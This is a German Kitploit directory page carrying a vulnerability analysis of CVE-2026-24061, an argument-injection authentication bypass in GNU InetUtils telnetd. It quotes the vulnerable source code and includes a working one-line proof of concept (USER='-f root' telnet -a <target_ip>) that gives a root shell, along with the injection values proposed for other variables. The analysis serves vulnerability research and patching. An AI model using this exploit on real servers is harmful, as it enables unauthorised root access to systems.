Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-24061 — Tiefgehende technische Analyse und Scanner für CVE-2026-24061, eine kritische Authentifizierungsumgehung in GNU InetUtils telnetd, einschließlich Exploit-Kette, PoC und Patch-Details. | Kitploit
Tools/GitHubGitHub/buzz075/cve-2026-24061
SchwachstellenanalyseExploitationNetzwerksicherheitPenetrationstestsAuthentifizierung
GitHubbuzz075/cve-2026-24061

CVE-2026-24061

Tiefgehende technische Analyse und Scanner für CVE-2026-24061, eine kritische Authentifizierungsumgehung in GNU InetUtils telnetd, einschließlich Exploit-Kette, PoC und Patch-Details.

Repository anzeigen
19vor 8 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-24061: GNU InetUtils telnetd Authentifizierungsumgehung - Tiefenanalyse

Zusammenfassung

CVE-2026-24061 ist eine kritische (CVSS 9.8) Remote-Authentifizierungsumgehungsschwachstelle in GNU InetUtils telnetd, die es nicht authentifizierten Angreifern ermöglicht, sofortigen Root-Zugriff zu erlangen. Die Schwachstelle beruht auf einer unzureichenden Bereinigung der Umgebungsvariablen USER, die direkt als Befehlszeilenargument an /usr/bin/login übergeben wird. Durch Setzen von USER=-f root löst ein Angreifer das -f-Flag von login aus, das die Authentifizierung vollständig umgeht.

Betroffene Versionen: GNU InetUtils 1.9.3 bis 2.7 Schwachstellentyp: CWE-88 (Argumentinjektion) Entdeckungsdatum: 20. Januar 2026 Entdecker: Kyu Neushwaistein (alias Carlos Cortes Alvarez)


Teil 1: Detaillierte technische Analyse

Der verwundbare Codeablauf

1. Login-Aufrufvorlage (telnetd/telnetd.c, Zeilen ~49-63)

Die Schwachstelle beginnt mit einer Vorlagenzeichenfolge, die definiert, wie telnetd /usr/bin/login aufruft:

/* Template command line for invoking login program. */
char *login_invocation =
#ifdef SOLARIS10
  PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
  PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
  PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;

Wichtige Beobachtung: Auf Nicht-Solaris-Systemen verwendet die Vorlage:

  • %?u{-f %u}{%U} - Dies ist ein bedingter Ausdruck, der bedeutet:
    • Wenn user_name gesetzt ist (%u), verwende -f %u (authentifizierter Autologin)
    • Andernfalls verwende %U (die USER-Umgebungsvariable als Fallback)

Das kritische Problem: %U expandiert zur rohen, nicht bereinigten USER-Umgebungsvariablen.

2. Variablenerweiterungsfunktion (telnetd/utility.c, _var_short_name())

Die Vorlagenzeichenfolge wird von expand_line() verarbeitet, das _var_short_name() zur Erweiterung von Platzhaltern aufruft. Hier ist der verwundbare Code:

/* Expand a variable referenced by its short one-symbol name. */
char *
_var_short_name (struct line_expander *exp)
{
  char *q;
  char timebuf[64];
  time_t t;

  switch (*exp->cp++)
    {
    case 'a':
#ifdef AUTHENTICATION
      if (auth_level >= 0 && autologin == AUTH_VALID)
        return xstrdup ("ok");
#endif
      return NULL;

    case 'd':
      time (&t);
      strftime (timebuf, sizeof (timebuf),
                "%l:%M%p on %A, %d %B %Y", localtime (&t));
      return xstrdup (timebuf);

    case 'h':
      return xstrdup (remote_hostname);  // POTENTIELL VERWUNDBAR

    case 'l':
      return xstrdup (local_hostname);

    case 'L':
      return xstrdup (line);

    case 't':
      q = strchr (line + 1, '/');
      if (q)
        q++;
      else
        q = line;
      return xstrdup (q);

    case 'T':
      return terminaltype ? xstrdup (terminaltype) : NULL;  // POTENTIELL VERWUNDBAR

    case 'u':
      return user_name ? xstrdup (user_name) : NULL;

    case 'U':
      return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");  // VERWUNDBAR!

    default:
      exp->state = EXP_STATE_ERROR;
      return NULL;
    }
}

Der kritische Fehler (Fall 'U'): Die Umgebungsvariable USER wird über getenv() abgerufen und ohne jegliche Bereinigung durchgereicht. Wenn ein Angreifer USER=-f root setzt, wird dies Teil der Login-Befehlszeile.

3. Start-Login-Funktion (telnetd/pty.c, start_login())

Die erweiterte Login-Aufrufzeichenfolge wird in start_login() ausgeführt:

/* Construct login command from template */
argcv_string (argcv_length (argv, NULL), argv, &login_cmd);
  
/* Execute login - this runs: /usr/bin/login -p -h <hostname> -f root */
execv (argv[0], argv);

Die Exploit-Kette

  1. Angreifer verbindet sich mit telnetd (Port 23)

  2. Telnet-Optionsaushandlung findet statt:

    • Server sendet IAC DO NEW_ENVIRON
    • Client antwortet mit IAC WILL NEW_ENVIRON
    • Server sendet IAC SB NEW_ENVIRON SEND (fordert Umgebung an)
    • Angreifer sendet: IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
  3. Server verarbeitet die USER-Variable:

    • getenv("USER") gibt -f root zurück
    • Vorlage %U expandiert zu -f root
    • Endgültiger Befehl: /usr/bin/login -p -h <hostname> -f root
  4. Login interpretiert -f root:

    • Das -f-Flag bedeutet "Authentifizierung überspringen, Benutzer ist vorauthentifiziert"
    • root ist der Benutzername, mit dem angemeldet wird
    • Ergebnis: Sofortige Root-Shell ohne Passwortabfrage!

Proof of Concept

# Auf dem Angreifer-Rechner:
USER='-f root' telnet -a <target_ip>

Das -a-Flag aktiviert den automatischen Anmeldemodus, der die USER-Umgebungsvariable an den Server sendet.


Teil 2: Analyse anderer potenziell verwundbarer Variablen

Das Sicherheitsbulletin stellt ausdrücklich fest: "Somit besteht Potenzial für ähnliche Schwachstellen bei anderen Variablen." Analysieren wir jede Variable in _var_short_name():

Variablenanalysetabelle

VarNameQuelleBenutzerkontrollierbar?Bereinigt?Angriffsfläche
%UUSER-Umgebungsvariablegetenv("USER")JA (über NEW_ENVIRON)NEINKRITISCH - CVE-2026-24061
%hremote_hostnameDNS/PTR-LookupTeilweise (PTR-Eintrag)NEINHOCH
%TterminaltypeTERMINAL-TYPE-OptionJANEINMITTEL
%uuser_nameProtokollaushandlungJANEINMITTEL (erfordert Authentifizierung)
%llocal_hostnameSystemkonfigurationNEINN/VNIEDRIG
%Lline (TTY)SystemzugewiesenNEINN/VNIEDRIG
%ttty-KurznameSystemzugewiesenNEINN/VNIEDRIG
%dDatum/UhrzeitSystemuhrNEINN/VKEINE
%aAuthentifizierungsstatusInterner ZustandNEINN/VKEINE

Detaillierte Analyse potenziell verwundbarer Variablen

1. %h - Remote-Hostname (HOCHES RISIKO)

Quelle: Wird in telnetd_setup() aus telnetd.c über getnameinfo() oder gethostbyaddr() befüllt.

Das Problem: Wenn ein Angreifer seinen PTR-Eintrag (Reverse-DNS) kontrolliert, könnte er potenziell Folgendes injizieren:

foo -f root

Als seinen Hostnamen, der Teil des -h-Arguments werden würde:

/usr/bin/login -p -h "foo -f root" ...

Ausnutzungsschwierigkeit:

  • Erfordert Kontrolle über Reverse-DNS
  • Einige Login-Implementierungen setzen den Hostnamen möglicherweise in Anführungszeichen oder validieren ihn
  • Komplexer als USER-Injektion

Realwelt-Szenario: Ein Angreifer mit Kontrolle über den PTR-Eintrag seiner IP (üblich bei VPS-Anbietern) könnte sein Reverse-DNS auf einen bösartigen Wert setzen.

2. %T - Terminaltyp (MITTLERES RISIKO)

Quelle: Wird über Telnet-TERMINAL-TYPE-Subaushandlung empfangen und in der Variablen terminaltype gespeichert.

Das Problem: Die Terminaltyp-Zeichenfolge ist angreiferkontrolliert und nicht bereinigt:

case 'T':
  return terminaltype ? xstrdup (terminaltype) : NULL;

Verwendung in Vorlagen:

  • SOLARIS10: %?T{-t %T} - Wird mit dem -t-Flag verwendet
  • SOLARIS: %?T{%T} - Direkt eingefügt

Potenzieller Angriff:

TERMINAL-TYPE: xterm -f root

Die Ausnutzung hängt jedoch ab von:

  • Der Vorlage, die %T verwendet (derzeit nur Solaris)
  • Wie login das -t-Argument behandelt

3. %u - Authentifizierter Benutzername (MITTLERES RISIKO)

Quelle: Wird während der Authentifizierungsaushandlung gesetzt.

Das Problem: Wird im -f %u-Muster verwendet:

PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"

Wenn ein Angreifer user_name manipulieren könnte, um Shell-Metazeichen oder zusätzliche Argumente einzuschließen, könnte er eine Eskalation erreichen. Diese Variable wird jedoch typischerweise erst nach einer Form der Authentifizierungsvalidierung gesetzt.

Tool herunterladen